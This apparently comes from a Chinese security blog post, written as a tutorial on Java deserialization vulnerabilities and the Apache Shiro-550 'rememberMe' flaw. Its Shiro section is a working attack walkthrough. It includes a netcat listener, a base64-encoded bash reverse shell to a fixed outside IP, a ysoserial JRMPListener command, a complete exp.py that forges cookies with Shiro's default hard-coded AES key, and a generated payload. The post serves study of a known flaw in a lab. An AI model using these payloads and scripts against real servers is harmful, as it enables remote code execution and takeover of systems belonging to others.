作者:手机用户2602939883 | 来源:互联网 | 2024-09-24 18:14
Java反序列化机制Java通过writeObject序列化将对象保存为二进制数据流,通过readObject反序列化将序列化后的二进制重新反序列化为Java对象&
Java反序列化机制 Java 通过 writeObject 序列化将对象保存为二进制数据流 ,通过 readObject 反序列化将序列化后的二进制重新反序列化为 Java 对象,如果一个类 readObject 方法被重写,反序列化时调用的是重写后的 readObject 方法,Java反序列化漏洞就是从可以被恶意利用的 readObject 开始
FileInputStream fileIn = new FileInputStream ( '1.bin' ) ObjectInputStream in = new ObjectInputStream ( fileIn) e = ( Employee ) in. readObject ( ) ;
漏洞原理 以一个简单的 demo 为例
import java. io. FileOutputStream ; import java. io. IOException ; import java. io. ObjectOutputStream ; import java. io. Serializable ; import java. io. FileInputStream ; import java. io. ObjectInputStream ; public class demo1{ public static void main ( String args[ ] ) throws Exception { MyObject myObj = new MyObject ( ) ; myObj. name = "hi" ; FileOutputStream fos = new FileOutputStream ( "object" ) ; ObjectOutputStream os = new ObjectOutputStream ( fos) ; os. writeObject ( myObj) ; os. close ( ) ; FileInputStream fis = new FileInputStream ( "object" ) ; ObjectInputStream ois = new ObjectInputStream ( fis) ; MyObject objectFromDisk = ( MyObject ) ois. readObject ( ) ; System . out. println ( objectFromDisk. name) ; ois. close ( ) ; } } class MyObject implements Serializable { public String name; private void readObject ( java. io. ObjectInputStream in) throws IOException , ClassNotFoundException { in. defaultReadObject ( ) ; String [ ] cmd= { "cmd" , "/C" , "calc" } ; Runtime . getRuntime ( ) . exec ( cmd) ; } }
实现 java.io.Serializable 接可才可以被反序列化,而且所有属性必须是可序列化的(用 transient 关键字修饰的属性除外, 不会参与反序列化)
重写了readObject()
函数,定制了反序列化的行为,反序列化时首先会调用 readObject,就像 PHP 反序列化时调用 __weakup
ac ed 00 05
是 java 序列化内容的特征,如果经过 base64 编码,那么相对应的是rO0AB
Java拥有的丰富的第三方类库,Java 反序列化大多也是因为其类库的安全问题而产生的
漏洞利用 ysoserial ysoserial
https://github.com/frohoff/ysoserial/
一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
base64编码问题:因为 windows 不能在简单的命令行中使用管道符进行 base,所以推荐使用 linux,base64输出时加命令保证不自动换行
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "cmd /c calc" | base64 -w0
关于 windows 命令使用可以参考链接
http://jackson-t.ca/runtime-exec-payloads.html
可以通过这个网站找到 payload 编码的命令
Gadget 受此影响到的 Java 组件
Shiro:Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理 Weblogic:确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器 Fastjson/jackson:是Java 库,可以将Java 对象转换为JSON 格式,当然它也可以将JSON 字符串转换为Java 对象 Apereo Cas:CAS是一种针对Web的企业多语言单点登录解决方案,并尝试成为您的身份验证和授权需求的综合平台 JDBC:JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口,使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问 XMLDecoder:用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象,其位于java.beans包下 Yaml:Yaml是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁,在Java中,有一个用于解析YAML格式的库,即SnakeYaml,是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型 XStream:XStream是Java类库,用来将对象序列化成XML (JSON)或反序列化为对象 Websphere:IBM WebSphere® Application Server Community Edition(WASCE)是一款构建于 Apache Geronimo(即 Apache Software Foundation 的开放式源代码应用程序服务器项目)上的、轻量级的 Java 2 Platform,Enterprise Edition(J2EE)应用程序服务器 JBoos:是一个基于J2EE的开放源代码的应用服务器,JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用 Jenkins:是一个开源的、提供友好操作界面的持续集成(CI)工具,主要用于持续、自动的构建/测试软件项目、监控外部任务的运行,Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle Dubbo:阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的 RPC 实现服务的输出和输入功能,可以和Spring框架无缝集成 当然还有其他组件 Shiro反序列化 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理
Shiro框架默认指纹特征 在请求包的COOKIE中为?rememberMe字段赋任意值,收到返回包的 Set-COOKIE 中存在?rememberMe=deleteMe?字段,说明目标有使用Shiro框架,可以进一步测试
shiro-550 漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),当接收到未经身份验证的用户请求时,会执行以下操作
从请求数据包中提取 COOKIE 中 rememberMe 字段的值 对提取的 COOKIE 值进行 base64 解码 对 base64 解码后的值进行 AES 解码 对解密后的字节数组调用 ObjectInputStream.readObject() 方法来反序列化 问题就在于 Shiro 1.2.4及之前的版本 中,AES加密的密钥默认硬编码在代码里,如果服务端采用的是默认的加密密钥,攻击者就可以构造一个恶意对象,执行任意代码
漏洞利用
环境用 docker 搭建
docker pull medicean/vulapps:s_shiro_1 docker run -d -p 8080 :8080 medicean/vulapps:s_shiro_1
访问IP:端口,此页面为搭建成功
有很多图形化的工具,如link,但是为了更好的了解漏洞,分步骤进行利用
检查是否存在默认的key
工具:https://github.com/insightglacier/Shiro_exploit
pip install pycryptodomepython . \shiro_exploit. py - u http :
漏洞利用
在 vps 上监听 9999 端口
nc -lvvp 9999
用来接收反弹的shell
通过ysoserial中JRMP监听模块,监听 6666 端口并执行反弹shell命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}' bash -i >& /dev/tcp/121.196.173.254/9999 0 >&1 bash -c { echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx} | { base64,-d} | { bash,-i}
使用修改后的 exp.py 脚本生成 payload
python2 .\ exp.py 121.196 .173.254:6666rememberMe = deeUXLJaTn+VopkZgKIWVLd7QRdd+x74oPuD6ThOle3otoxxGCfgZQe6Hc6lQZYh+n1i6MmtqB3YYX7fa6Gezwhf6IXZ8FSAR+cpbL7+mIKEpblcXnO9UQTE5VcnDJxXeYS46PgTmHl2Am+acrGLnNBPdpUcyUppXq1PvAK6NEB63kPOpgQPR0fNJGcx1lwZW/ZZh5A70bz+0BuB+VUXy0IO3CxVzsqx+4TH9vEaYEcgFoEgNpHjbLlOV7sSCXwNzjx1dUUAJ2se3Vg2yTDOCqqf0TW4l8KqbFIWIhtnngKX/kcW2Dpjay0aoqkXRs9chL1bSMaX39Uh+x97KBrqnDJAf3oCl80ItwwP3bQyqSix08d8gipHftzHATVNMRR90hhoF3S4Tfvq/xhky8Znzw==
exp.py
import sysimport uuidimport base64import subprocessfrom Crypto. Cipher import AESdef encode_rememberme ( command) : popen = subprocess. Popen( [ 'java' , '-jar' , 'ysoserial-0.0.6-SNAPSHOT-all.jar' , 'JRMPClient' , command] , stdout= subprocess. PIPE) BS = AES. block_sizepad = lambda s: s + ( ( BS - len ( s) % BS) * chr ( BS - len ( s) % BS) ) . encode( ) key = base64. b64decode( "kPH+bIxk5D2deZiIxcaaaA==" ) iv = uuid. uuid4( ) . bytes encryptor = AES. new( key, AES. MODE_CBC, iv) file_body = pad( popen. stdout. read( ) ) base64_ciphertext = base64. b64encode( iv + encryptor. encrypt( file_body) ) return base64_ciphertextif __name__ == '__main__' : payload = encode_rememberme( sys. argv[ 1 ] ) print "rememberMe={0}" . format ( payload. decode( ) )
构造数据包,伪造COOKIE,发送Payload
成功反弹shell
不止这一种漏洞利用方式,还可以直接执行命令,还有 shiro 721漏洞,可以看这篇文章 Link,Link2
人菜就要多学习,本次只是对Java反序列化的简单学习,继续努力
参考链接 https://www.vulbox.com/knowledge/detail/?id=11
https://paper.seebug.org/1503/